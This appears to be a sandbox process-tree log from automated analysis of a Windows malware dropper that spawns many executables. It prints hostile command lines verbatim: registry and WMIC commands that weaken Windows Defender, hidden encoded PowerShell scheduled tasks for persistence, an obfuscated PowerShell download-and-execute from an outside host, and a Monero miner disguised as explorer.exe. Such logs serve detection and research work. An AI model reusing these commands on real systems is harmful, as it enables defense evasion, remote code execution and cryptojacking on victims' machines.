        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True
        14⤵
        
        PID:6472
        
        C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True
        15⤵
        
        PID:9148
        
        C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
        11⤵
        
        PID:8984
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
        12⤵
        
        PID:6340
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
        13⤵
        
        PID:5344
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
        13⤵
        
        PID:2284
        
        C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
        11⤵
        
        PID:2960
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
        12⤵
        
        PID:1968
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
        13⤵
        
        PID:4636
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
        13⤵
        
        PID:6580
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "gfNODCRPe" /SC once /ST 04:22:42 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
        11⤵
        Creates scheduled task(s)
        
        PID:6592
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /run /I /tn "gfNODCRPe"
        11⤵
        
        PID:7432
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /DELETE /F /TN "gfNODCRPe"
        11⤵
        
        PID:7884
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "bRciptYQhTCMvEFWGJ" /SC once /ST 06:50:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\nitzTrLPrXGkZCFFk\iXkrQovqyvDrylo\YNubfAu.exe\" W8 /site_id 668658 /S" /V1 /F
        11⤵
        Creates scheduled task(s)
        
        PID:6536
        
        C:\Users\Admin\Documents\4j_fLdFJTr_GmWFcy3k3nYxs.exe
        
        "C:\Users\Admin\Documents\4j_fLdFJTr_GmWFcy3k3nYxs.exe" /mixtwo
        8⤵
        
        PID:7120
        
        C:\Users\Admin\Documents\5MPU2b2t5eYAaBLBCIy_qDdL.exe
        
        "C:\Users\Admin\Documents\5MPU2b2t5eYAaBLBCIy_qDdL.exe"
        8⤵
        
        PID:8824
        
        C:\Users\Admin\Documents\WAUAShamXcSDwO1M9qVgHodh.exe
        
        "C:\Users\Admin\Documents\WAUAShamXcSDwO1M9qVgHodh.exe"
        8⤵
        
        PID:9148
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST
        7⤵
        Creates scheduled task(s)
        
        PID:7232
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST
        7⤵
        Creates scheduled task(s)
        
        PID:7224
      - C:\Users\Admin\Documents\KhkYpZow6fZlf370rcdwguOq.exe
        
        "C:\Users\Admin\Documents\KhkYpZow6fZlf370rcdwguOq.exe"
        6⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:2288
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\Documents\KhkYpZow6fZlf370rcdwguOq.exe"
        7⤵
        
        PID:4832
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /T 10 /NOBREAK
        8⤵
        Delays execution with timeout.exe
        
        PID:5360
      - C:\Users\Admin\Documents\G8mchP1MNDJEwAhP1wsgCyQF.exe
        
        "C:\Users\Admin\Documents\G8mchP1MNDJEwAhP1wsgCyQF.exe"
        6⤵
        Executes dropped EXE
        
        PID:340
        
        C:\Users\Admin\Documents\G8mchP1MNDJEwAhP1wsgCyQF.exe
        
        C:\Users\Admin\Documents\G8mchP1MNDJEwAhP1wsgCyQF.exe
        7⤵
        
        PID:5412
      - C:\Users\Admin\Documents\Jp3KfYRPlCinC19YuCzjdZJg.exe
        
        "C:\Users\Admin\Documents\Jp3KfYRPlCinC19YuCzjdZJg.exe"
        6⤵
        Executes dropped EXE
        
        PID:2476
        
        C:\Users\Admin\Documents\Jp3KfYRPlCinC19YuCzjdZJg.exe
        
        "C:\Users\Admin\Documents\Jp3KfYRPlCinC19YuCzjdZJg.exe"
        7⤵
        
        PID:5876
      - C:\Users\Admin\Documents\ablp34rINXB5y7Vr_ORnFwUy.exe
        
        "C:\Users\Admin\Documents\ablp34rINXB5y7Vr_ORnFwUy.exe"
        6⤵
        Executes dropped EXE
        
        PID:4632
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4632 -s 660
        7⤵
        Program crash
        
        PID:4256
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4632 -s 672
        7⤵
        Program crash
        
        PID:5832
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4632 -s 680
        7⤵
        Program crash
        
        PID:5872
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4632 -s 656
        7⤵
        Program crash
        
        PID:5748
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4632 -s 900
        7⤵
        Program crash
        
        PID:6592
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4632 -s 1160
        7⤵
        Program crash
        
        PID:5968
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4632 -s 1208
        7⤵
        Program crash
        
        PID:6260
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im "ablp34rINXB5y7Vr_ORnFwUy.exe" /f & erase "C:\Users\Admin\Documents\ablp34rINXB5y7Vr_ORnFwUy.exe" & exit
        7⤵
        
        PID:8008
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im "ablp34rINXB5y7Vr_ORnFwUy.exe" /f
        8⤵
        Kills process with taskkill
        
        PID:5644
      - C:\Users\Admin\Documents\XMBgngbUfCWlodQzKYNS652M.exe
        
        "C:\Users\Admin\Documents\XMBgngbUfCWlodQzKYNS652M.exe"
        6⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:3684
      - C:\Users\Admin\Documents\TjQtxcCbQdjYdboy6UcySFAq.exe
        
        "C:\Users\Admin\Documents\TjQtxcCbQdjYdboy6UcySFAq.exe"
        6⤵
        Executes dropped EXE
        
        PID:1160
      - C:\Users\Admin\Documents\KN9JyEvyb9xpkav2qrJXyJlL.exe
        
        "C:\Users\Admin\Documents\KN9JyEvyb9xpkav2qrJXyJlL.exe"
        6⤵
        Executes dropped EXE
        
        PID:1124
      - C:\Users\Admin\Documents\ARLhhRRiRk12KvSDXw_dKz9T.exe
        
        "C:\Users\Admin\Documents\ARLhhRRiRk12KvSDXw_dKz9T.exe"
        6⤵
        
        PID:3480
      - C:\Users\Admin\Documents\PZW16v2NJvvyt3F_4nO8ro0B.exe
        
        "C:\Users\Admin\Documents\PZW16v2NJvvyt3F_4nO8ro0B.exe"
        6⤵
        
        PID:6948
        
        C:\Users\Admin\AppData\Roaming\1062385.scr
        
        "C:\Users\Admin\AppData\Roaming\1062385.scr" /S
        7⤵
        
        PID:3308
        
        C:\Users\Admin\AppData\Roaming\5067708.scr
        
        "C:\Users\Admin\AppData\Roaming\5067708.scr" /S
        7⤵
        
        PID:7320
        
        C:\Users\Admin\AppData\Roaming\4125877.scr
        
        "C:\Users\Admin\AppData\Roaming\4125877.scr" /S
        7⤵
        
        PID:7568
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun1908b94df837b3158.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3196
    - - C:\Users\Admin\AppData\Local\Temp\7zS89335291\Sun1908b94df837b3158.exe
        
        Sun1908b94df837b3158.exe
        5⤵
        
        PID:996
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun19eb40faaaa9.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3060
    - - C:\Users\Admin\AppData\Local\Temp\7zS89335291\Sun19eb40faaaa9.exe
        
        Sun19eb40faaaa9.exe
        5⤵
        Executes dropped EXE
        
        PID:1672
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im Sun19eb40faaaa9.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\7zS89335291\Sun19eb40faaaa9.exe" & del C:\ProgramData\*.dll & exit
        6⤵
        
        PID:6968
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im Sun19eb40faaaa9.exe /f
        7⤵
        Kills process with taskkill
        
        PID:6920
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 6
        7⤵
        Delays execution with timeout.exe
        
        PID:8936
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun195a1614ec24e6a.exe
      4⤵
      PID:1084
    - - C:\Users\Admin\AppData\Local\Temp\7zS89335291\Sun195a1614ec24e6a.exe
        
        Sun195a1614ec24e6a.exe
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:2500
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun1905815e51282417.exe
      4⤵
      PID:848
    - - C:\Users\Admin\AppData\Local\Temp\7zS89335291\Sun1905815e51282417.exe
        
        Sun1905815e51282417.exe
        5⤵
        Executes dropped EXE
        
        PID:2168
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun1966fb31dd5a07.exe
      4⤵
      PID:1280
    - - C:\Users\Admin\AppData\Local\Temp\7zS89335291\Sun1966fb31dd5a07.exe
        
        Sun1966fb31dd5a07.exe
        5⤵
        Executes dropped EXE
        
        PID:3460
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun198361825f4.exe
      4⤵
      PID:508
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun191101c1aaa.exe
      4⤵
      PID:4172
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun19de8ff4b6aefeb8.exe /mixone
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3868
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun19e4ade31b2a.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:756
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun193fda712d9f1.exe
      4⤵
      PID:496

C:\Users\Admin\AppData\Local\Temp\7zS89335291\Sun19e4ade31b2a.exe
Sun19e4ade31b2a.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4196
- C:\Users\Admin\AppData\Roaming\5778510.scr
  "C:\Users\Admin\AppData\Roaming\5778510.scr" /S
  2⤵
  PID:752
- C:\Users\Admin\AppData\Roaming\6599093.scr
  "C:\Users\Admin\AppData\Roaming\6599093.scr" /S
  2⤵
  - Executes dropped EXE
  - Checks BIOS information in registry
  - Checks whether UAC is enabled
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  PID:4836
- C:\Users\Admin\AppData\Roaming\8693270.scr
  "C:\Users\Admin\AppData\Roaming\8693270.scr" /S
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious use of AdjustPrivilegeToken
  PID:3676
- - C:\Users\Admin\AppData\Roaming\8693270.scr
    "C:\Users\Admin\AppData\Roaming\8693270.scr"
    3⤵
    PID:1852
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3676 -s 904
    3⤵
    - Program crash
    - Suspicious use of AdjustPrivilegeToken
    PID:5212
- - C:\Users\Admin\AppData\Roaming\8693270.scr
    "C:\Users\Admin\AppData\Roaming\8693270.scr"
    3⤵
    - Executes dropped EXE
    PID:4320
- C:\Users\Admin\AppData\Roaming\2892003.scr
  "C:\Users\Admin\AppData\Roaming\2892003.scr" /S
  2⤵
  - Executes dropped EXE
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  PID:2756

C:\Users\Admin\AppData\Local\Temp\7zS89335291\Sun191101c1aaa.exe
Sun191101c1aaa.exe
1⤵
PID:3304
- C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
  "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
  2⤵
  - Executes dropped EXE
  PID:1208
- - C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe
    "C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe"
    3⤵
    PID:5360
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
      4⤵
      PID:4184
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
        5⤵
        Creates scheduled task(s)
        
        PID:2872
  - - C:\Users\Admin\AppData\Roaming\services64.exe
      "C:\Users\Admin\AppData\Roaming\services64.exe"
      4⤵
      PID:6500
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
        5⤵
        
        PID:8100
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
        6⤵
        Creates scheduled task(s)
        
        PID:8468
    - - C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
        5⤵
        
        PID:8484
    - - C:\Windows\explorer.exe
        
        C:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu2.nanopool.org:14433 --user=41o1Bi5waqLgbkV653RD7zSYeXSWRu1wnEDzPgFDFwntSnuRx7g4HbHPqNDGS6BW1bget6yyHyrPbBcVsdR6Ebxd843bMuK.add/password --pass= --cpu-max-threads-hint=30 --cinit-remote-config="v4Qq47ngFyBcSyO2uLKc6O4DG/ZgkwoY7/pmBv4ks3wJ7PR9JPsLklOJLkitFc6Y" --cinit-idle-wait=5 --cinit-idle-cpu=70 --tls --cinit-stealth
        5⤵
        
        PID:4548
- - C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe
    "C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe"
    3⤵
    PID:5556
  - - C:\ProgramData\8228151.exe
      "C:\ProgramData\8228151.exe"
      4⤵
      PID:7972
  - - C:\ProgramData\5165369.exe
      "C:\ProgramData\5165369.exe"
      4⤵
      PID:7428
  - - C:\ProgramData\5816075.exe
      "C:\ProgramData\5816075.exe"
      4⤵
      PID:1280
    - - C:\ProgramData\5816075.exe
        
        "C:\ProgramData\5816075.exe"
        5⤵
        
        PID:2808
  - - C:\ProgramData\3001756.exe
      "C:\ProgramData\3001756.exe"
      4⤵
      PID:7868
- - C:\Users\Admin\AppData\Local\Temp\2.exe
    "C:\Users\Admin\AppData\Local\Temp\2.exe"
    3⤵
    PID:6004
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 6004 -s 1528
      4⤵
      Program crash
      PID:6860
- - C:\Users\Admin\AppData\Local\Temp\setup.exe
    "C:\Users\Admin\AppData\Local\Temp\setup.exe"
    3⤵
    PID:6496
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 6496 -s 804
      4⤵
      Program crash
      PID:5248
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 6496 -s 840
      4⤵
      Program crash
      PID:6820
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 6496 -s 856
      4⤵
      Program crash
      PID:6224
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 6496 -s 896
      4⤵
      Program crash
      PID:6236
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 6496 -s 956
      4⤵
      Program crash
      PID:7056
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 6496 -s 916
      4⤵
      Program crash
      PID:3388
- - C:\Users\Admin\AppData\Local\Temp\udptest.exe
    "C:\Users\Admin\AppData\Local\Temp\udptest.exe"
    3⤵
    PID:6664
- - C:\Users\Admin\AppData\Local\Temp\5.exe
    "C:\Users\Admin\AppData\Local\Temp\5.exe"
    3⤵
    PID:6528
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 6528 -s 1528
      4⤵
      Program crash
      PID:7860
- - C:\Users\Admin\AppData\Local\Temp\LivelyScreenRecF18.exe
    "C:\Users\Admin\AppData\Local\Temp\LivelyScreenRecF18.exe"
    3⤵
    PID:5148
  - - C:\Users\Admin\AppData\Local\Temp\tmpCD8D_tmp.exe
      "C:\Users\Admin\AppData\Local\Temp\tmpCD8D_tmp.exe"
      4⤵
      PID:6688
    - - C:\Users\Admin\AppData\Local\Temp\tmpCD8D_tmp.exe
        
        C:\Users\Admin\AppData\Local\Temp\tmpCD8D_tmp.exe
        5⤵
        
        PID:6304
    - - C:\Users\Admin\AppData\Local\Temp\tmpCD8D_tmp.exe
        
        C:\Users\Admin\AppData\Local\Temp\tmpCD8D_tmp.exe
        5⤵
        
        PID:4564
- - C:\Users\Admin\AppData\Local\Temp\setup_2.exe
    "C:\Users\Admin\AppData\Local\Temp\setup_2.exe"
    3⤵
    PID:7196
  - - C:\Users\Admin\AppData\Local\Temp\is-P0RP0.tmp\setup_2.tmp
      "C:\Users\Admin\AppData\Local\Temp\is-P0RP0.tmp\setup_2.tmp" /SL5="$10384,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup_2.exe"
      4⤵
      PID:7292
    - - C:\Users\Admin\AppData\Local\Temp\setup_2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\setup_2.exe" /SILENT
        5⤵
        
        PID:7444
      - C:\Users\Admin\AppData\Local\Temp\is-VKNNQ.tmp\setup_2.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-VKNNQ.tmp\setup_2.tmp" /SL5="$203A4,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup_2.exe" /SILENT
        6⤵
        
        PID:6896
        
        C:\Users\Admin\AppData\Local\Temp\is-IA34I.tmp\postback.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-IA34I.tmp\postback.exe" ss1
        7⤵
        
        PID:476
        
        C:\Windows\SysWOW64\explorer.exe
        
        explorer.exe ss1
        8⤵
        
        PID:8492
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /c start /B powershell -windowstyle hidden -command "&{$t='#i#ex##@(n#ew#########-#ob#jec######t N#et#.W#####eb#Cl#ie#nt#).###Up#loa#dSt#######ri#####ng(#''h#t#tp#:###//shellloader.com/#w#el#co####me''#,###''S#e#ve#n#J#o###k##er''###)##|#ie##x'.replace('#','').split('@',5);&$t[0]$t[1]}"
        9⤵
        
        PID:6580
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        10⤵
        
        PID:5324
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -windowstyle hidden -command "&{$t='#i#ex##@(n#ew#########-#ob#jec######t N#et#.W#####eb#Cl#ie#nt#).###Up#loa#dSt#######ri#####ng(#''h#t#tp#:###//shellloader.com/#w#el#co####me''#,###''S#e#ve#n#J#o###k##er''###)##|#ie##x'.replace('#','').split('@',5);&$t[0]$t[1]}"
        10⤵
        
        PID:2284
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /C regsvr32 /s "C:\Users\Admin\AppData\Local\Temp\oSK2rCnkP.dll"
        9⤵
        
        PID:8328
        
        C:\Windows\SysWOW64\regsvr32.exe
        
        regsvr32 /s "C:\Users\Admin\AppData\Local\Temp\oSK2rCnkP.dll"
        10⤵
        
        PID:8072
        
        C:\Windows\system32\regsvr32.exe
        
        /s "C:\Users\Admin\AppData\Local\Temp\oSK2rCnkP.dll"
        11⤵
        
        PID:7496
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /C regsvr32 /s "C:\Users\Admin\AppData\Local\Temp\oSK2rCnkP.dllEkTJ8z2fn.dll"
        9⤵
        
        PID:7820
        
        C:\Windows\SysWOW64\regsvr32.exe
        
        regsvr32 /s "C:\Users\Admin\AppData\Local\Temp\oSK2rCnkP.dllEkTJ8z2fn.dll"
        10⤵
        
        PID:5372
        
        C:\Windows\system32\regsvr32.exe
        
        /s "C:\Users\Admin\AppData\Local\Temp\oSK2rCnkP.dllEkTJ8z2fn.dll"
        11⤵
        
        PID:6320
- - C:\Users\Admin\AppData\Local\Temp\3002.exe
    "C:\Users\Admin\AppData\Local\Temp\3002.exe"
    3⤵
    PID:7840
  - - C:\Users\Admin\AppData\Local\Temp\3002.exe
      "C:\Users\Admin\AppData\Local\Temp\3002.exe" -a
      4⤵
      PID:6840
- - C:\Users\Admin\AppData\Local\Temp\jhuuee.exe
    "C:\Users\Admin\AppData\Local\Temp\jhuuee.exe"
    3⤵
    PID:7300
- - C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe
    "C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe"
    3⤵
    PID:5064

C:\Users\Admin\AppData\Local\Temp\is-NA7J0.tmp\Sun1966fb31dd5a07.tmp
"C:\Users\Admin\AppData\Local\Temp\is-NA7J0.tmp\Sun1966fb31dd5a07.tmp" /SL5="$50030,247014,163328,C:\Users\Admin\AppData\Local\Temp\7zS89335291\Sun1966fb31dd5a07.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:4548
- C:\Users\Admin\AppData\Local\Temp\is-41REG.tmp\Ze2ro.exe
  "C:\Users\Admin\AppData\Local\Temp\is-41REG.tmp\Ze2ro.exe" /S /UID=burnerch2
  2⤵
  - Executes dropped EXE
  PID:1332
- - C:\Program Files\Google\AHJHYBCSBQ\ultramediaburner.exe
    "C:\Program Files\Google\AHJHYBCSBQ\ultramediaburner.exe" /VERYSILENT
    3⤵
    PID:6944
  - - C:\Users\Admin\AppData\Local\Temp\is-ACE55.tmp\ultramediaburner.tmp
      "C:\Users\Admin\AppData\Local\Temp\is-ACE55.tmp\ultramediaburner.tmp" /SL5="$10366,281924,62464,C:\Program Files\Google\AHJHYBCSBQ\ultramediaburner.exe" /VERYSILENT
      4⤵
      PID:7212
    - - C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe
        
        "C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe" -silent -desktopShortcut -programMenu
        5⤵
        
        PID:7476
- - C:\Users\Admin\AppData\Local\Temp\db-15494-293-8cfab-bb0a2226d3a64\Qudishedaeto.exe
    "C:\Users\Admin\AppData\Local\Temp\db-15494-293-8cfab-bb0a2226d3a64\Qudishedaeto.exe"
    3⤵
    PID:7284
  - - C:\Windows\Microsoft.NET\Framework64\v2.0.50727\dw20.exe
      dw20.exe -x -s 2600
      4⤵
      PID:4716
- - C:\Users\Admin\AppData\Local\Temp\ab-8ddde-b1a-c0397-a9de1f21ced24\Poxemegavu.exe
    "C:\Users\Admin\AppData\Local\Temp\ab-8ddde-b1a-c0397-a9de1f21ced24\Poxemegavu.exe"
    3⤵
    PID:7348
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\tt2u1bnr.s4b\GcleanerEU.exe /eufive & exit
      4⤵
      PID:6996
    - - C:\Users\Admin\AppData\Local\Temp\tt2u1bnr.s4b\GcleanerEU.exe
        
        C:\Users\Admin\AppData\Local\Temp\tt2u1bnr.s4b\GcleanerEU.exe /eufive
        5⤵
        
        PID:7932
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\d4d4c4la.vaf\installer.exe /qn CAMPAIGN="654" & exit
      4⤵
      PID:6212
    - - C:\Users\Admin\AppData\Local\Temp\d4d4c4la.vaf\installer.exe
        
        C:\Users\Admin\AppData\Local\Temp\d4d4c4la.vaf\installer.exe /qn CAMPAIGN="654"
        5⤵
        
        PID:2872
      - C:\Windows\SysWOW64\msiexec.exe
        
        "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Y.msi" /qn CAMPAIGN=654 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\d4d4c4la.vaf\installer.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\d4d4c4la.vaf\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1632120095 /qn CAMPAIGN=""654"" " CAMPAIGN="654"
        6⤵
        
        PID:6932
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\t5okuwln.bpl\anyname.exe & exit
      4⤵
      PID:3324
    - - C:\Users\Admin\AppData\Local\Temp\t5okuwln.bpl\anyname.exe
        
        C:\Users\Admin\AppData\Local\Temp\t5okuwln.bpl\anyname.exe
        5⤵
        
        PID:8692
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\xu4eut0y.lmi\gcleaner.exe /mixfive & exit
      4⤵
      PID:8656
    - - C:\Users\Admin\AppData\Local\Temp\xu4eut0y.lmi\gcleaner.exe
        
        C:\Users\Admin\AppData\Local\Temp\xu4eut0y.lmi\gcleaner.exe /mixfive
        5⤵
        
        PID:9044

C:\Users\Admin\AppData\Local\Temp\7zS89335291\Sun198361825f4.exe
Sun198361825f4.exe
1⤵
- Executes dropped EXE
PID:1988
- C:\Windows\system32\WerFault.exe
  C:\Windows\system32\WerFault.exe -u -p 1988 -s 1456
  2⤵
  - Program crash
  - Suspicious use of AdjustPrivilegeToken
  PID:2340

